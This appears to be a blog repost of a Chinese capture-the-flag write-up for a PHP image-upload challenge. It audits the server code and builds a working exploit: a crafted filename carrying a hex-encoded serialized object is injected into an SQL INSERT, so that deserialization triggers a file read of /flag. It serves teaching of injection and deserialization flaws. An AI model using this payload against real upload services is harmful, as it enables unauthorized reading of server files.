zoukankan      html  css  js  c++  java
  • 刷题[安洵杯 2019]不是文件上传

    解题思路

    这不是文件上传嘛?
    传传传,各种传

    文件上传

    1.MIME类型检测绕过
    设置为image/jpeg,无果

    2.黑名单绕过
    尝试设置后缀如php3,php5,无果

    3.%00截断
    尝试,无果。

    4.应用程序解析绕过

    .php.jpg。上传成功!

    发现怎么后缀是jpg,然后通过路径访问的话报404,这里我就开始奇怪了,难道真的不是文件上传,毕竟就算上传成功也需要爆出路径才能利用,但是这明显是假路径。

    思考其他的方向,既然buu给了github源码,那就看看源码吧,看了看,主要逻辑代码在helper.php

    代码审计

    <?php
    class helper {
        protected $folder = "pic/";
        protected $ifview = False;
        protected $config = "config.txt";
        // The function is not yet perfect, it is not open yet.
    
        public function upload($input="file")
        {
            $fileinfo = $this->getfile($input);
            $array = array();
            $array["title"] = $fileinfo['title'];
            $array["filename"] = $fileinfo['filename'];
            $array["ext"] = $fileinfo['ext'];
            $array["path"] = $fileinfo['path'];
            $img_ext = getimagesize($_FILES[$input]["tmp_name"]);
            $my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
            $array["attr"] = serialize($my_ext);
            $id = $this->save($array);
            if ($id == 0){
                die("Something wrong!");
            }
            echo "<br>";
            echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
        }
    
        public function getfile($input)
        {
            if(isset($input)){
                $rs = $this->check($_FILES[$input]);
            }
            return $rs;
        }
    
        public function check($info)
        {
            $basename = substr(md5(time().uniqid()),9,16);
            $filename = $info["name"];
            $ext = substr(strrchr($filename, '.'), 1);
            $cate_exts = array("jpg","gif","png","jpeg");
            if(!in_array($ext,$cate_exts)){
                die("<p>Please upload the correct image file!!!</p>");
            }
            $title = str_replace(".".$ext,'',$filename);
            return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
        }
    
        public function save($data)
        {
            if(!$data || !is_array($data)){
                die("Something wrong!");
            }
            $id = $this->insert_array($data);
            return $id;
        }
    
        public function insert_array($data)
        {
            $con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
            if (mysqli_connect_errno($con))
            {
                die("Connect MySQL Fail:".mysqli_connect_error());
            }
            $sql_fields = array();
            $sql_val = array();
            foreach($data as $key=>$value){
                $key_temp = str_replace(chr(0).'*'.chr(0), '', $key);
                $value_temp = str_replace(chr(0).'*'.chr(0), '', $value);
                $sql_fields[] = "`".$key_temp."`";
                $sql_val[] = "'".$value_temp."'";
            }
            $sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
            mysqli_query($con, $sql);
            $id = mysqli_insert_id($con);
            mysqli_close($con);
            return $id;
        }
    
        public function view_files($path){
            if ($this->ifview == False){
                return False;
                //The function is not yet perfect, it is not open yet.
            }
            $content = file_get_contents($path);
            echo $content;
        }
    
        function __destruct(){
            # Read some config html
            $this->view_files($this->config);
        }
    }
    
    ?>
    

    这里懂了两个文件的内容
    upload.php:
    上传页面,包括了helper.php ,序列化图片的内容并存在数据库中。

    helper.php:
    反序列化数据库中的内容,输出图片内容

    所以我们的核心思路:
    将危险代码通过序列化存在数据库中,在反序列化的过程后,通过某些函数执行危险代码

    这里一定可以存入数据库,否则我们在前端无法利用,所以数据库的语句一定有漏洞,只要想好怎么利用就可以

    大概看看代码,在view_files 函数里存在文件读取,那么就按照他的来,

    构造ifview==True,content=/flag

    编写exp

    <?php
    class helper {
        protected $ifview = True;
        protected $config = "/flag";
    
    }
    $a = new helper();
    echo serialize($a);
    
    ?>
    

    序列化得出
    O:6:"helper":2:{s:9:"*ifview";b:1;s:9:"*config";s:5:"/flag";}

    因为两个属性是public,所以字段名前面加上*的前缀

    sql注入

    然后思路是想看到sql语句,其中应该可以插入危险代码,导致sql注入。那么我们先找到SQL语句:

    INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")

    追溯函数:

    1. implode(",",$sql_fields:
      用逗号组合sql_fields

    2. $sql_fields[] = "".$key_temp."";
      反引号中间包含str_replace(chr(0).'*'.chr(0), '', $key);

    3. $key_temp = str_replace(chr(0).'*'.chr(0), '', $key);
      替换后的key

    4.foreach($data as $key=>$value)
    data的键数组

    看看pop链:
    insert_array->save->upload

    最终也就是array数组中的内容,即是我们上传的图片的各项参数。那我们能控制的也就是图片的图片名,然后发现title就是去掉后缀的filename。看到check函数返回的内容就懂了。

    return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);

    我们按照此格式上传刚刚序列化后的内容,该代码先经过序列化,然后存入数据库中,后端将其从数据库中取出,反序列化,触发析构函数,读取flag内容

    然后看到代码中在序列化和反序列化时对protected属性进行了过滤,所以我们不能直接传入*的前缀。需要按照他的传入,经过处理后我们为需要的内容。

    O:6:"helper":2:{s:9:"ifview";b:1;s:9:"config";s:5:"/flag";}

    因为不能使用双引号,所以我们hex。

    构造文件名:
    filename="a','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.png"

    (需要用#注释掉后面的内容,当然不用#注释,按照他的格式再往后核实也可以)

    burpsuite抓包,先传一个图片,更改内容为上面的值,上传成功,访问show.php,获取flag

    总结思路

    • 源码泄露,获得源码
    • 代码审计,一个序列化传进数据库,一个反序列化从数据库取出
    • 构造危险代码->匹配成功传入数据库->反序列化出内容->通过相关函数获取flag

    知识点

    • 信息泄露
    • sql注入
    • 反序列化
  • 相关阅读:
    沙尘天气,但还是要坚持锻炼
    为了欧冠,堕落两天
    NRF24L01测试板子完成了
    昨天参加ti的研讨会了
    自我安慰一下
    功率W与dBm的对照表及关系
    短时间提高英语口语方法
    看了一个星期的欧洲杯,熬阿
    最近比较忙,项目较累
    后台获取js赋给服务器控件的值
  • 原文地址:https://www.cnblogs.com/karsa/p/13419111.html
Copyright © 2011-2022 走看看